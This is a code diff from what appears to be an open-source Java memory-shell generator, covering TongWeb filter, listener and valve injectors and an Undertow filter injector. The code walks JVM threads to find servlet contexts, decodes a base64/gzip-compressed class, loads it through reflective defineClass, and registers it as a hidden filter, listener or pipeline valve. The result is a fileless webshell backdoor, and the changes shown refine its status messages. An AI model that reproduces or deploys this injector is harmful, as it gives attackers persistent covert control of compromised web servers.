} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
} }
} catch (Exception e) {
e.printStackTrace();
} }
} }
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* com.tongweb.web.thor.core.ThorStandardContext * com.tongweb.web.thor.core.ThorStandardContext
@@ -86,21 +114,22 @@ public class TongWebFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
logger.warning("filter already injected");
return; return;
} }
String filterClassName = getClassName(); String filterClassName = getClassName();
@@ -137,7 +166,11 @@ public class TongWebFilterInjector {
Object filterConfig = constructor.newInstance(context, filterDef); Object filterConfig = constructor.newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterClassName, filterConfig); filterConfigs.put(filterClassName, filterConfig);
logger.info("filter inject success"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -212,6 +245,22 @@ public class TongWebFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TongWebListenerInjector { public class TongWebListenerInjector {
public TongWebListenerInjector() { private String msg = "";
try {
Set<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -33,6 +24,45 @@ public class TongWebListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public TongWebListenerInjector() {
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>(); Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -64,15 +94,17 @@ public class TongWebListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -81,7 +113,6 @@ public class TongWebListenerInjector {
List listeners = Arrays.asList(objects); List listeners = Arrays.asList(objects);
for (Object o : listeners) { for (Object o : listeners) {
if (o.getClass().getName().contains(getClassName())) { if (o.getClass().getName().contains(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
@@ -101,6 +132,11 @@ public class TongWebListenerInjector {
} }
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
@@ -145,7 +181,7 @@ public class TongWebListenerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -193,4 +229,19 @@ public class TongWebListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TongWebValveInjector { public class TongWebValveInjector {
public TongWebValveInjector() { private String msg = "";
try {
Set<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -33,6 +24,45 @@ public class TongWebValveInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public TongWebValveInjector() {
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>(); Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -64,24 +94,29 @@ public class TongWebValveInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception { public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null); Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) { Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
System.out.println("valve already injected"); List<Object> valvesList = Arrays.asList(valves);
for (Object v : valvesList) {
if (v.getClass().getName().contains(getClassName())) {
return; return;
} }
}
Class valveClass = null; Class valveClass = null;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
@@ -97,21 +132,12 @@ public class TongWebValveInjector {
} }
} }
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object pipeline) throws Exception { public String toString() {
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); return msg;
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(getClassName())) {
return true;
} }
}
return false;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
@@ -159,7 +185,7 @@ public class TongWebValveInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -187,4 +213,20 @@ public class TongWebValveInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -4,6 +4,7 @@ import javax.servlet.DispatcherType;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -14,17 +15,7 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
*/ */
public class UndertowFilterInjector { public class UndertowFilterInjector {
public UndertowFilterInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -38,6 +29,45 @@ public class UndertowFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public UndertowFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() { public List<Object> getContext() {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -67,20 +97,21 @@ public class UndertowFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) { if (isInjected(context)) {
System.out.println("filter already injected");
return; return;
} }
Class<?> filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo"); Class<?> filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo");
@@ -91,7 +122,6 @@ public class UndertowFilterInjector {
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null); Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST}); invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
System.out.println("filter inject success");
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
@@ -110,6 +140,11 @@ public class UndertowFilterInjector {
return false; return false;
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
@@ -154,7 +189,7 @@ public class UndertowFilterInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -196,4 +231,19 @@ public class UndertowFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }

Some files were not shown because too many files have changed in this diff Show More